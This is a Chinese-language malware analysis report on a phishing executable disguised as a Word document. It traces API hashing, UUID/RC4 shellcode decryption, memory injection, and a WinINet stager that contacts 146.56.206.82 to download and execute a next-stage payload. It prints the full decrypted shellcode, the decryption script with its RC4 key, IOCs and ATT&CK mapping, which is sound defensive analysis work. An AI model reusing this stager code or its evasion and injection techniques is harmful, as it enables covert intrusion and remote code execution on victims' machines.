某恶意软件样本逆向分析报告

news2026/5/12 15:41:49
1.概述样本来源微步在线恶意软件名称刘文博-关于北京体彩中心的问题反馈.exesha256c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b642.行为分析该程序图标设为word文档图标实际为exe文件诱骗受害者打开使用了process monitor未发现写入文件行为注册表持久化行为。使用fiddler发现网络行为连接了某IP地址但是已经收不到响应了。3.静态动态分析遍历模块遍历所有模块通过hash值找到目标模块获取其地址。这里的hash值是0xD3C8C75F我们使用hashDB插件分析该值可以得出这里使用了名为djb2_uppercase的算法解密该值代表ntdll.dll。因此得出这部分代码的目的是获得ntdll.dll的地址。函数地址获取获得ntdll.dll模块后接着就是获取该模块中某些函数的地址。可以看到调用了一个函数以模块地址和一个hash值作为参数猜测该函数是用于获取函数地址的接下来分析该函数。可以看到该函数通过对一个模块中所有导出函数的遍历比对目标hash值从而获得目标函数地址。经分析可得这里用的hash算法与前面模块hash的算法相同即djb2_uppercase因此我们可以用相同方式解密得到hash值代表的函数。经分析可得该程序会从ntdll模块中获取如下函数地址NtProtectVirtualMemoryNtWaitForSingleObjectNtCreateThreadExNtQueueApcThreadNtResumeThreadNtCloseNtTerminateThreadRtlExitUserThread接下来程序用相同的方式从kernel32模块中获取了LoadLibraryEx函数地址。函数调用接下来调用函数执行恶意行为。注意到本程序没有直接调用函数而是用了一个间接调用的方法。可以看到本程序会把目标函数的地址写到某个地址处然后跳转到这里执行。而执行函数的参数从伪代码中是看不到的需要从汇编代码中看后续动态分析会详细分析参数。确定shellcode注入点程序先后尝试调用NtCreateThreadEx和NtQueueApcThread方法并把0x1000地址作为随后放置shellcode的起始点。但在实际运行中都失败了最终通过第三条路径注入了shellcode。第三条路径使用了前面相同的遍历方法得到了chakra.dll0x1000的地址准备把shellcode放在这里。利用前面提到的调用方式调用NtProtectVirtualMemory我们需通过汇编代码看传参情况可以看到rdx放入了注入点地址r9放入了4代表将权限改为可读可写。这里调用该函数是将注入点内存权限设为可写准备写入新内容。解密shellcode接下来程序分两步解密了一段硬编码数据并将结果放入了前面提到的注入点位置。我使用大模型分析了这段解密算法并编写了解密脚本提供给大模型解密算法的伪代码和代码中使用的必要的数据程序存储了59个uuid字符串第一步先将字符串解码为944字节的二进制数据然后使用解密算法——标准的RC4算法进行解密得到了最终的shellcode。import uuid def step1_decode(uuids_str): 第一步将 59 个以空字符分隔的 UUID 字符串解码为 944 字节的二进制数据。 遵循 Windows GUID 结构体的内存排布小端序前 3 段 大端序后 2 段。 uuid_list uuids_str.split(\x00) result bytearray() for u_str in uuid_list: if not u_str: continue u uuid.UUID(u_str) result.extend(u.bytes_le) return bytes(result) def step2_decrypt(data): 第二步使用标准的 RC4 算法对数据进行解密。 感谢栈变量提示v146[v8213] 实际上是越界访问了紧随其后的 v147 所以所有的交换操作都是在 v147 (即 S-box) 内部进行的。 if len(data) 940: raise ValueError(数据长度必须至少为 940 字节) # 初始化 S-box S list(range(256)) # 自定义密钥数据 K [0x53, 0x7D, 0xB8, 0xF9, 0xD9, 0x6A, 0x64, 0x1E, 0xCD, 0x98, 0x3F, 0x3D, 0x20, 0x3A, 0x19, 0x50] # ---- 标准 RC4 KSA 密钥调度 ---- j 0 for i in range(256): j (j S[i] K[i % 16]) 0xFF S[i], S[j] S[j], S[i] # ---- 标准 RC4 PRGA 伪随机生成 ---- data bytearray(data) i 0 j 0 # 循环 940 次进行异或解密 for out_idx in range(940): i (i 1) 0xFF j (j S[i]) 0xFF S[i], S[j] S[j], S[i] k S[(S[i] S[j]) 0xFF] data[out_idx] ^ k return bytes(data) # 使用示例 if __name__ __main__: # 读取你提供的 aF8dbae6eEb3577.txt 中的字符串 uuid_str f8dbae6e-eb35-77f6-a625-1f5d9f3beac0\x00b844265c-8b6e-dbe8-817d-24d3bf6f9edb\x00d5169886-35f3-9db2-3672-638fe58b5e07\x004c9b311b-397b-0d13-410d-59807e7ccbc8\x007d7fc87b-1dce-2755-e855-69a4af7af278\x00759752f2-1680-1e32-30f8-b8a61b0daeb5\x00b49b4b36-44dc-adfe-7d7b-8b3cf5fa9e06\x00e5994c48-4a71-9e1a-1b4f-5bd5f5103df7\x009c80c83f-c1ec-aab9-69e2-e426e9e9a96c\x0055676d0f-5b24-2a52-2a3d-e2a1231c1092\x00c7e793c7-52f1-e713-93f0-34b4450ea76b\x009eec3f2f-d33d-9417-f64b-17012047d09b\x0026ee0b15-3a0d-5cbd-a176-93bc511f9da0\x00965c4a57-4ba2-d496-c573-aba79b7d4b1a\x008900e024-cc0e-8cf8-f851-202278261659\x008eec7e82-694f-f499-c3c8-a39357998d83\x001124ab6d-4a03-4aad-fb5c-05174377b862\x00920c6beb-6bc3-457d-2742-fb77e9c51a01\x003c0ffbf1-9b41-7134-d879-800644352944\x002d8d60eb-b515-25a4-ee60-9d3009ec5bdc\x004f5a5828-35ba-20cd-ccc7-bfa558ff4d85\x00fddc8855-d36a-5f2b-6ccf-8ecb9e0b662b\x00f3fe1b02-2b93-f32d-1dd7-b0a970d8e04a\x002419f686-465f-f8b1-759d-37b6cfd92d8c\x00d393a542-2c92-2c1a-3e51-bbad82847c1f\x0075e1d541-c550-55cd-a675-bc0345c9d5d3\x002e0a1e96-c963-fa19-ef7c-f6e233e6eff2\x0046ea6705-5eb9-067d-f921-bd2626e298f6\x00105ef4cb-71cc-2dd8-c7e7-8e49ff2d900a\x00c9a83925-a382-855c-b20d-31bbbc9e4432\x0053dc8659-b467-9e7a-eaa9-021f1d7a3227\x0016821506-3b95-dcb5-6e1c-a676a40fd921\x00bd1fd992-b25b-de26-ba97-c5aeeb32e18a\x00afe769f7-8221-3592-893e-790dbc56015e\x00635e0112-b18a-6b30-de62-a48009530b5b\x0032d688c1-ee45-9821-d1e3-48148d0a4f5e\x007062fe4d-cce1-8a01-d521-6bfe7f21c730\x005acbd652-9730-27e5-6407-f3dded721526\x0054d17388-207a-1ec8-4bf1-fcac848d42ef\x00163440eb-4da7-5498-faf7-b23af3d08083\x00826d4599-0e94-ce58-3efb-56becdd94ad2\x00be585980-eff6-6de9-6909-84c0bea73c3c\x009c846b5c-297c-d878-a1df-0cd48ac5b227\x0048504bd7-50e1-2063-79a2-3aa5d4790c7e\x0094ad37e1-7691-5ab4-4acf-2989c930673d\x00aa184a26-1518-1b04-c522-3b490e57a457\x00528a8d63-37ca-4d7f-ab0c-038b3b08359b\x00131da6be-fa10-3c3f-f2db-0c33d674f19d\x0021902679-5424-3adb-e459-1601e6b9a812\x00bb24819b-5d91-8e27-1d8c-85b0461f8396\x00251e2350-6eb2-7565-aab6-15c51e6f3441\x00ec10761e-70f4-3391-9c11-6de4d62889a4\x003e338b69-32cc-3363-040a-e02f979be1ed\x00c02cb8de-ec18-0296-fbdd-3991048f437b\x00efe29aa6-6cc8-ca52-0949-4d86a8953c6e\x00aa1fa7e3-e333-db0c-eda5-5f9988519070\x00ce25b3c6-e4f5-e562-3bbc-3ed19c7d08e7\x0067c3d188-8d8f-4e3f-e779-2b4a2f850b76\x002ff2bfce-ca7b-4a09-d5f8-cf8d90909090 # 此处省略完整串替换为你实际的完整输入 # 1. 执行第一步 binary_data step1_decode(uuid_str) print(fStep1 解码完成数据长度: {len(binary_data)} bytes) # 2. 执行第二步 decrypted_data step2_decrypt(binary_data) print(fStep2 解密完成有效数据前 20 字节: {decrypted_data[:20].hex()})两步骤分别得到的数据如下6E AE DB F8 35 EB F6 77 A6 25 1F 5D 9F 3B EA C0 5C 26 44 B8 6E 8B E8 DB 81 7D 24 D3 BF 6F 9E DB 86 98 16 D5 F3 35 B2 9D 36 72 63 8F E5 8B 5E 07 1B 31 9B 4C 7B 39 13 0D 41 0D 59 80 7E 7C CB C8 7B C8 7F 7D CE 1D 55 27 E8 55 69 A4 AF 7A F2 78 F2 52 97 75 80 16 32 1E 30 F8 B8 A6 1B 0D AE B5 36 4B 9B B4 DC 44 FE AD 7D 7B 8B 3C F5 FA 9E 06 48 4C 99 E5 71 4A 1A 9E 1B 4F 5B D5 F5 10 3D F7 3F C8 80 9C EC C1 B9 AA 69 E2 E4 26 E9 E9 A9 6C 0F 6D 67 55 24 5B 52 2A 2A 3D E2 A1 23 1C 10 92 C7 93 E7 C7 F1 52 13 E7 93 F0 34 B4 45 0E A7 6B 2F 3F EC 9E 3D D3 17 94 F6 4B 17 01 20 47 D0 9B 15 0B EE 26 0D 3A BD 5C A1 76 93 BC 51 1F 9D A0 57 4A 5C 96 A2 4B 96 D4 C5 73 AB A7 9B 7D 4B 1A 24 E0 00 89 0E CC F8 8C F8 51 20 22 78 26 16 59 82 7E EC 8E 4F 69 99 F4 C3 C8 A3 93 57 99 8D 83 6D AB 24 11 03 4A AD 4A FB 5C 05 17 43 77 B8 62 EB 6B 0C 92 C3 6B 7D 45 27 42 FB 77 E9 C5 1A 01 F1 FB 0F 3C 41 9B 34 71 D8 79 80 06 44 35 29 44 EB 60 8D 2D 15 B5 A4 25 EE 60 9D 30 09 EC 5B DC 28 58 5A 4F BA 35 CD 20 CC C7 BF A5 58 FF 4D 85 55 88 DC FD 6A D3 2B 5F 6C CF 8E CB 9E 0B 66 2B 02 1B FE F3 93 2B 2D F3 1D D7 B0 A9 70 D8 E0 4A 86 F6 19 24 5F 46 B1 F8 75 9D 37 B6 CF D9 2D 8C 42 A5 93 D3 92 2C 1A 2C 3E 51 BB AD 82 84 7C 1F 41 D5 E1 75 50 C5 CD 55 A6 75 BC 03 45 C9 D5 D3 96 1E 0A 2E 63 C9 19 FA EF 7C F6 E2 33 E6 EF F2 05 67 EA 46 B9 5E 7D 06 F9 21 BD 26 26 E2 98 F6 CB F4 5E 10 CC 71 D8 2D C7 E7 8E 49 FF 2D 90 0A 25 39 A8 C9 82 A3 5C 85 B2 0D 31 BB BC 9E 44 32 59 86 DC 53 67 B4 7A 9E EA A9 02 1F 1D 7A 32 27 06 15 82 16 95 3B B5 DC 6E 1C A6 76 A4 0F D9 21 92 D9 1F BD 5B B2 26 DE BA 97 C5 AE EB 32 E1 8A F7 69 E7 AF 21 82 92 35 89 3E 79 0D BC 56 01 5E 12 01 5E 63 8A B1 30 6B DE 62 A4 80 09 53 0B 5B C1 88 D6 32 45 EE 21 98 D1 E3 48 14 8D 0A 4F 5E 4D FE 62 70 E1 CC 01 8A D5 21 6B FE 7F 21 C7 30 52 D6 CB 5A 30 97 E5 27 64 07 F3 DD ED 72 15 26 88 73 D1 54 7A 20 C8 1E 4B F1 FC AC 84 8D 42 EF EB 40 34 16 A7 4D 98 54 FA F7 B2 3A F3 D0 80 83 99 45 6D 82 94 0E 58 CE 3E FB 56 BE CD D9 4A D2 80 59 58 BE F6 EF E9 6D 69 09 84 C0 BE A7 3C 3C 5C 6B 84 9C 7C 29 78 D8 A1 DF 0C D4 8A C5 B2 27 D7 4B 50 48 E1 50 63 20 79 A2 3A A5 D4 79 0C 7E E1 37 AD 94 91 76 B4 5A 4A CF 29 89 C9 30 67 3D 26 4A 18 AA 18 15 04 1B C5 22 3B 49 0E 57 A4 57 63 8D 8A 52 CA 37 7F 4D AB 0C 03 8B 3B 08 35 9B BE A6 1D 13 10 FA 3F 3C F2 DB 0C 33 D6 74 F1 9D 79 26 90 21 24 54 DB 3A E4 59 16 01 E6 B9 A8 12 9B 81 24 BB 91 5D 27 8E 1D 8C 85 B0 46 1F 83 96 50 23 1E 25 B2 6E 65 75 AA B6 15 C5 1E 6F 34 41 1E 76 10 EC F4 70 91 33 9C 11 6D E4 D6 28 89 A4 69 8B 33 3E CC 32 63 33 04 0A E0 2F 97 9B E1 ED DE B8 2C C0 18 EC 96 02 FB DD 39 91 04 8F 43 7B A6 9A E2 EF C8 6C 52 CA 09 49 4D 86 A8 95 3C 6E E3 A7 1F AA 33 E3 0C DB ED A5 5F 99 88 51 90 70 C6 B3 25 CE F5 E4 62 E5 3B BC 3E D1 9C 7D 08 E7 88 D1 C3 67 8F 8D 3F 4E E7 79 2B 4A 2F 85 0B 76 CE BF F2 2F 7B CA 09 4A D5 F8 CF 8D 90 90 90 90 FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED 52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 66 81 78 18 0B 02 75 72 8B 80 88 00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A 41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4F FF FF FF 5D 6A 00 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 FF D5 48 31 C9 48 31 D2 4D 31 C0 4D 31 C9 41 50 41 50 41 BA 3A 56 79 A7 FF D5 E9 9D 00 00 00 5A 48 89 C1 41 B8 BB 01 00 00 4D 31 C9 41 51 41 51 6A 03 41 51 41 BA 57 89 9F C6 FF D5 E9 80 00 00 00 5B 48 89 C1 48 31 D2 49 89 D8 4D 31 C9 52 68 00 32 C0 84 52 52 41 BA EB 55 2E 3B FF D5 48 89 C6 48 83 C3 50 6A 0A 5F 48 89 F1 BA 1F 00 00 00 6A 00 68 80 33 00 00 49 89 E0 41 B9 04 00 00 00 41 BA EC 72 CA 9D 49 81 F2 99 34 54 1B FF D5 48 89 F1 48 89 DA 49 C7 C0 FF FF FF FF 4D 31 C9 52 52 41 BA 2D 06 18 7B FF D5 85 C0 0F 85 9D 01 00 00 48 FF CF 0F 84 8C 01 00 00 EB AC E9 EB 01 00 00 E8 7B FF FF FF 2F 72 65 73 2F 6A 73 2F 6A 71 75 65 72 79 2D 33 2E 36 2E 32 2E 73 6C 69 6D 2E 6D 69 6E 2E 6A 73 00 3E FE A5 4A 98 0A FB 6B 5A 8B 50 2A 77 57 67 D0 AA A2 4C CA 9B 06 BF 43 08 F3 8A 73 3A A2 82 56 EB 72 A1 FB D4 61 85 2A 33 1F F5 F3 77 C2 00 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 61 6E 67 75 61 67 65 3A 20 64 65 2D 44 45 2C 20 65 6E 2D 43 41 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 35 2E 30 29 0D 0A 00 6E 36 F2 13 1E 60 33 20 C8 55 6E 06 D8 39 0B 10 C4 79 2A 63 82 E4 7A 4F 74 BC 7B 76 53 E9 C5 3A 7D 03 6D DD 34 DD 28 4F 07 8D 74 CB B5 2C BF 85 6C 08 44 0A 32 14 4A 77 43 63 CC CB E7 66 29 6C 57 3D 1C AE 95 E8 EA 6F D0 F0 B8 31 B3 E5 93 1C 55 9F 4E 66 4F 40 69 BF A0 3F 6C 2A 5F E5 46 C8 2E 7B EB B8 16 31 4A D6 AC C8 4C 55 76 C0 C9 AD 45 96 1B DE 24 5E 00 42 36 42 C6 0E 4A 72 C0 C6 3C 2E 60 92 77 81 6B 1E 42 0B EE C4 86 61 5A 15 A9 21 D8 B4 EC EB CE C5 42 59 47 89 37 DD 29 49 BF 8B 96 F3 37 B1 30 F7 C9 D5 18 2D D1 FD 6A 5B 0E 7D 54 07 00 41 BE F0 B5 A2 56 FF D5 48 31 C9 BA 00 00 40 00 41 B8 00 10 00 00 41 B9 40 00 00 00 41 BA 50 F0 07 F3 49 81 F2 08 54 54 16 FF D5 48 93 53 53 48 89 E7 48 89 F1 48 89 DA 41 B8 00 20 00 00 49 89 F9 41 BA 12 96 89 E2 FF D5 48 83 C4 20 85 C0 74 AF 66 8B 07 48 01 C3 85 C0 75 D7 58 58 58 48 05 00 00 00 00 50 C3 E8 6E FD FF FF 31 34 36 2E 35 36 2E 32 30 36 2E 38 32 00 90 90 90 90小插曲最初大模型编写的脚本并不能得到正确结果我查看大模型分析过程发现提到了变量v146的处理出现了问题我查看发现v146的赋值来自命令strcpy(v146, chakra.dll)但是解密过程中出现了形如v85 v146[v82 13];这样的命令超出了v146的长度对此大模型的处理是默认为0。对此我使用x64dbg进行动态调试发现解密时在栈中v146的下面放入了大量数据解密时用到的就是这些数据经过调试发现这部分数据其实是伪代码中的v147也就是解密时用到的其实是v147。其实直接在ida中观察栈视图stack of main也可以发现这两个变量在栈中是相邻的超出v146的长度其实就是在访问v147.我把这一情况描述给了大模型大模型便发现这其实就是一个标准的RC4算法然后就纠正得到了正确的脚本。执行shellcode这里调用NtProtectVirtualMemory函数将存放shellcode的区域改为可执行权限然后便跳转到注入点执行shellcode。Shellcode分析我们将前面解密得到的二进制数据dump下来用IDA打开就能看到shellcode代码了简单看了一下发现跳转很多很乱最后我选择用x64dbg动态调试分析了这段shellcode。动态调试执行基址00007FF67E0F0000我们从这里步进观察shellcode的执行。程序先来到这里74656E696E6977h是字符串“wininet”然后把hash值726774Ch放入寄存器。随后会遍历各个模块首先取出的就是exe文件本身计算该模块的hash值这里和前面不一样用的是ROR13算法对模块进行一些基本的检查后来到模块的导出表准备遍历函数遍历函数计算函数名的hash值这里同样使用ROR13算法和r10寄存器中的726774Ch比较也就是要找到hash值为726774Ch的函数本模块所有导出函数遍历完没有找到目标会跳转至此随后会再跳转到前面提到的取模块处获取下一个模块然后重复上述遍历函数的过程。最后成功找到目标函数发现是kernel32模块的LoadLibraryA函数。随后找到该函数地址并把该函数地址放入rax设置好参数注意push r10这句指令把r10数据压栈作为目标函数执行完成后的返回地址然后jmp rax执行函数。这里执行该函数加载了wininet.dll模块。接下来会重复上述的过程来寻找函数执行。第二次执行了InternetOpenA函数。第三次执行InternetConnectA连接146.56.206.82的443端口第四次执行HttpOpenRequestA其中参数指向了/res/js/jquery-3.6.2.slim.min.js第五次寻找目标函数时对目标hash又做了一层异或加密这里和前面不一样。第五次执行了InternetSetOptionA第六次执行了HttpSendRequestA发送请求。若失败会重复几次执行InternetSetOptionA和HttpSendRequestA超过次数限制后会结束程序。而成功后会第七次寻找并执行函数VirtualAlloc申请一块内存。第八次执行InternetReadfileA读取响应的内容存入申请的地址。随后会跳转到该地址执行。由于无法真正获得响应分析到此为止。IOC TTPIOCsha256c28d23d8658abc1f5683c6b50239d5593eb7a274a3abec56124d7fb43fec1b64IP地址146.56.206.82TTPTA0001 初始访问①T1566 网络钓鱼将可执行文件伪装成Word文档图标诱骗受害者打开。TA0002 执行①T1204.002 用户执行.恶意文件受害者主动运行该伪装exe触发恶意代码。②T1106 原生API程序通过hash遍历获取并调用了底层APINtCreateThreadEx,NtQueueApcThread,NtResumeThread,NtProtectVirtualMemory等。TA0005 防御规避①T1036 伪装图标设为word文档图标实际为exe。②T1027.007 混淆文件和信息.动态解析API通过遍历模块和导出函数使用hash值动态获取ntdll.dll和kernel32.dll中的函数地址而非在导入表中显式声明。③T1027.010 混淆文件和信息.命令混淆硬编码数据分两步解密先将59个UUID字符串解码再使用标准RC4算法解密出最终的Shellcode。④T1620 反射式代码加载在内存中解密shellcode并直接执行不落地磁盘配合无文件行为。TA0011 命令与控制①T1071.001 应用层协议.Web协议依次调用InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA等函数建立HTTP/HTTPS连接。②T1105 入口工具传输调用VirtualAlloc申请内存通过InternetReadFile从响应中读取下一阶段载荷并执行实现载荷下发攻击链网络钓鱼诱惑受害者→ 用户执行恶意exe→ 动态解析ntdll/kernel32关键API → 解密内置shellcodeUUIDRC4→ 反射式加载shellcode → shellcode调用WinINet组建HTTPS C2通信 → 下载并执行下一阶段载荷

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2606488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…